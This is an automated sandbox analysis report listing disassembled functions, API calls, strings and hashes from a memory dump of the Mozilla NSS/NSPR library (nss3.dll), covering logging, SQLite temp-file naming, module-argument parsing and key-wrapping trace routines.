Part of subcall function 6CE51240: EnterCriticalSection.KERNEL32(?,?,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE5127C
Part of subcall function 6CE51240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE51291
Part of subcall function 6CE51240: PR_Unlock.NSS3(?,?,?,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE512A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE51DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CE51E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CE51EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CE51ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CE51EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CE51F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE51F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CE51F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CE51F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE51F83
PR_SetLogFile.NSS3(00000000), ref: 6CE51FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CE51FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CE51FCB
free.MOZGLUE(00000000), ref: 6CE51FD2

Strings

timestamp, xrefs: 6CE51EC4
append, xrefs: 6CE51EE6
, %n, xrefs: 6CE51E6B
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CE51E27
NSPR_LOG_MODULES, xrefs: 6CE51DAD
Unable to create nspr log file '%s', xrefs: 6CE51FB3
sync, xrefs: 6CE51E46
all, xrefs: 6CE51F0E
bufsize, xrefs: 6CE51E9B
NSPR_LOG_FILE, xrefs: 6CE51F69

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 61badad51d2427f4027f4937667ef5c315826e830ef22a282f049cbbfb993e27
Instruction ID: 4671695aa60f254ff0e8038593b902cbf7496d62ca06723e046d45701d840d31
Opcode Fuzzy Hash: 61badad51d2427f4027f4937667ef5c315826e830ef22a282f049cbbfb993e27
Instruction Fuzzy Hash: C9517CB1E002099BDF00DFE4DC45B9E77B8AF0134DF680529E816DBA40E776D968CBA5

Function 6CF36E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDECA30: EnterCriticalSection.KERNEL32(?,?,?,6CE4F9C9,?,6CE4F4DA,6CE4F9C9,?,?,6CE1369A), ref: 6CDECA7A
Part of subcall function 6CDECA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDECB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CDFBE66), ref: 6CF36E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CDFBE66), ref: 6CF36E98
sqlite3_snprintf.NSS3(?,00000000,6CF9AAF9,?,?,?,?,?,?,6CDFBE66), ref: 6CF36EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CDFBE66), ref: 6CF36ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CDFBE66), ref: 6CF36EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CDFBE66), ref: 6CF36F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CDFBE66), ref: 6CF36F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CDFBE66), ref: 6CF36F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CDFBE66), ref: 6CF36FA6
sqlite3_snprintf.NSS3(?,00000000,6CF9AAF9,00000000,?,?,?,?,?,?,?,6CDFBE66), ref: 6CF36FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CDFBE66), ref: 6CF36FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CDFBE66), ref: 6CF36FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDFBE66), ref: 6CF37014
sqlite3_free.NSS3(00000000,?,?,?,?,6CDFBE66), ref: 6CF3701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CDFBE66), ref: 6CF37030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CDFBE66), ref: 6CF3705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CDFBE66), ref: 6CF37079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDFBE66), ref: 6CF37097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CDFBE66), ref: 6CF370A0

Strings

winGetTempname4, xrefs: 6CF37046
winGetTempname5, xrefs: 6CF37071
winGetTempname2, xrefs: 6CF370C4
winGetTempname1, xrefs: 6CF3708F
mz_etilqs_, xrefs: 6CF36F18

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 8d80c7361bf452d80d14e8d79c100fa06c93f0b4734e668560d16b28a986b8fc
Instruction ID: d98172d8b2bee87e125089f842026bcbe5ec918500adc3566c81063ec8e731a3
Opcode Fuzzy Hash: 8d80c7361bf452d80d14e8d79c100fa06c93f0b4734e668560d16b28a986b8fc
Instruction Fuzzy Hash: 50518BA2F05120BBE7105730AC51FFF36669F82718F144539E9199BBC1FB26990E82E2

Function 6CEC4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE775C2,00000000,00000000,00000001), ref: 6CEC5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE775C2,00000000), ref: 6CEC5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEC505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CEC5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEC50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE775C2), ref: 6CEC50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEC50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEC50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC5153
free.MOZGLUE(?), ref: 6CEC516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEC517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEC5195

Strings

name=, xrefs: 6CEC5057
parameters=, xrefs: 6CEC506B
library=, xrefs: 6CEC5043
config=, xrefs: 6CEC509B
nss=, xrefs: 6CEC5083

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 4ee10b8cce284d20dca892f5ae20d9126639d29e5b927f96549e7b8001af8c12
Instruction ID: d1364aa9ddace200fd2cb0a6caf0e1f509691a2eb8795f093bd48becefa352f5
Opcode Fuzzy Hash: 4ee10b8cce284d20dca892f5ae20d9126639d29e5b927f96549e7b8001af8c12
Instruction Fuzzy Hash: 8B51A1B1F022059BEB40DF64DD45AEB37B89F06248F240024EC25E7741EB25E915DBB7

Function 6CE98E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CE98E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE98EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE98EB3

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE98EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE98EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CE98F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE98F29
PR_LogPrint.NSS3(?,00000000), ref: 6CE98F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE98F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE98F80
PR_LogPrint.NSS3(?,00000000), ref: 6CE98F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CE98FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CE98FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CE99047

Strings

*pulWrappedKeyLen = 0x%x, xrefs: 6CE99042
pMechanism = 0x%p, xrefs: 6CE98EE0
pWrappedKey = 0x%p, xrefs: 6CE98FAD
(CK_INVALID_HANDLE), xrefs: 6CE98EAC, 6CE98F1F, 6CE98F79
pulWrappedKeyLen = 0x%p, xrefs: 6CE98FC8
C_WrapKey, xrefs: 6CE98E71
hSession = 0x%x, xrefs: 6CE98E8E, 6CE98E9E
hWrappingKey = 0x%x, xrefs: 6CE98F01, 6CE98F11
hKey = 0x%x, xrefs: 6CE98F5B, 6CE98F6B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 83351e986b5ea4c56b613a479d7686f02dc3cb5b46da6c905e9028bbd00a9211
Instruction ID: 894fcfda7b580a2f030db84a3af8ef59290ac30182169a63778e523692847b96
Opcode Fuzzy Hash: 83351e986b5ea4c56b613a479d7686f02dc3cb5b46da6c905e9028bbd00a9211
Instruction Fuzzy Hash: EF510631A02104AFDB209F10DC49F9B3B72EF4230CF55542AF5096BB22D7329A09CBA1

Function 6CEC4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CEB4F51,00000000), ref: 6CEC4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEB4F51,00000000), ref: 6CEC4C5B
PR_smprintf.NSS3(6CF9AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CEB4F51,00000000), ref: 6CEC4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CEB4F51,00000000), ref: 6CEC4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEC4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEC4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEC4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEB4F51,00000000), ref: 6CEC4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEB4F51,00000000), ref: 6CEC4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CEC4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CEC4DA2
free.MOZGLUE(?), ref: 6CEC4DB9
free.MOZGLUE(00000000), ref: 6CEC4DCF

Strings

rust, xrefs: 6CEC4D22
timeout, xrefs: 6CEC4C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CEC4D9D
%s,%s, xrefs: 6CEC4C4B
ootT, xrefs: 6CEC4D1A
0x%08lx=[%s %s], xrefs: 6CEC4D80
every, xrefs: 6CEC4CA1
slotFlags, xrefs: 6CEC4D34
rootFlags, xrefs: 6CEC4D47
any, xrefs: 6CEC4C96

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: f0321bc2ed29b6b3bd2f45b20eea4be66ee193077bdc6daf417924bf0011c3b6
Instruction ID: 57fe465be94b34885567e61616b3222275bbbfebddd2593f7af644f47c58c6cf
Opcode Fuzzy Hash: f0321bc2ed29b6b3bd2f45b20eea4be66ee193077bdc6daf417924bf0011c3b6
Instruction Fuzzy Hash: 05417DB1E101416BEB116F15DD40ABF3A79AF8231CF25412AEC2A5BB01E735D924C7D3

Function 6CEA6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEA6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CEA6943
Part of subcall function 6CEA6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CEA6957
Part of subcall function 6CEA6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CEA6972
Part of subcall function 6CEA6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CEA6983
Part of subcall function 6CEA6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CEA69AA
Part of subcall function 6CEA6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CEA69BE
Part of subcall function 6CEA6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CEA69D2
Part of subcall function 6CEA6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CEA69DF
Part of subcall function 6CEA6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CEA6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEA6D8C
free.MOZGLUE(00000000), ref: 6CEA6DC5
free.MOZGLUE(?), ref: 6CEA6DD6
free.MOZGLUE(?), ref: 6CEA6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEA6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEA6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEA6E72
free.MOZGLUE(?), ref: 6CEA6EA7
free.MOZGLUE(?), ref: 6CEA6EC4
free.MOZGLUE(?), ref: 6CEA6ED5
free.MOZGLUE(00000000), ref: 6CEA6EE3
free.MOZGLUE(?), ref: 6CEA6EF4
free.MOZGLUE(?), ref: 6CEA6F08
free.MOZGLUE(00000000), ref: 6CEA6F35
free.MOZGLUE(?), ref: 6CEA6F44
free.MOZGLUE(?), ref: 6CEA6F5B
free.MOZGLUE(00000000), ref: 6CEA6F65

Part of subcall function 6CEA6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEA781D,00000000,6CE9BE2C,?,6CEA6B1D,?,?,?,?,00000000,00000000,6CEA781D), ref: 6CEA6C40
Part of subcall function 6CEA6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEA781D,?,6CE9BE2C,?), ref: 6CEA6C58
Part of subcall function 6CEA6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEA781D), ref: 6CEA6C6F
Part of subcall function 6CEA6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEA6C84
Part of subcall function 6CEA6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEA6C96
Part of subcall function 6CEA6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEA6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEA6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEA6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CEA6FF4

Strings

+`l, xrefs: 6CEA6D0D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: d9779398e8451351dd1c50bb347bde4914e41fbdc72facbd50d9d52db8602bcc
Instruction ID: 872e03e06b64212a633b06de685da57a8f6ac7e8bc30b392238c4fee391ed06b
Opcode Fuzzy Hash: d9779398e8451351dd1c50bb347bde4914e41fbdc72facbd50d9d52db8602bcc
Instruction Fuzzy Hash: A9B13FB5E012099FDF00DBE9D885B9E7BBCAF0A24DF244025E815EB740E735A916CB61

Function 6CE6DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE6DDDE

Part of subcall function 6CEC0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE687ED,00000800,6CE5EF74,00000000), ref: 6CEC1000
Part of subcall function 6CEC0FF0: PR_NewLock.NSS3(?,00000800,6CE5EF74,00000000), ref: 6CEC1016
Part of subcall function 6CEC0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE687ED,00000008,?,00000800,6CE5EF74,00000000), ref: 6CEC102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CE6DDF5

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE6DE34
PR_Now.NSS3 ref: 6CE6DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CE6DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE6DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE6DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CE6DEF0
PR_smprintf.NSS3(6CF9AAF9,(NULL) (Validity Unknown)), ref: 6CE6DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE6DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE6DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE6DF33
free.MOZGLUE(00000000), ref: 6CE6DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE6DF4B
free.MOZGLUE(00000000), ref: 6CE6DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE6DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CE6DEFA
%s%s, xrefs: 6CE6DEEB
{???}, xrefs: 6CE6DE8B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: f8d524e020e57f0aeb0f30df1b4d854eec30bb87f934096b18624a9bb8171942
Instruction ID: 11e45b85560b7bcefd1579969e7da94cf5959d6527be491eb2d49948534b6b86
Opcode Fuzzy Hash: f8d524e020e57f0aeb0f30df1b4d854eec30bb87f934096b18624a9bb8171942
Instruction Fuzzy Hash: DE51E5B5E501015BDB10DF669C41AAF7AF9AF85358F744029E819E7B00E731DA05CBE2

Function 6CE908F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6CE9094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE90953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6CE9096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6CE90974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CE9098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CE90995

Part of subcall function 6CE91800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE91860
Part of subcall function 6CE91800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6CE909BF), ref: 6CE91897
Part of subcall function 6CE91800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE918AA
Part of subcall function 6CE91800: memcpy.VCRUNTIME140(?,?,?), ref: 6CE918C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CE90B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CE90B5E
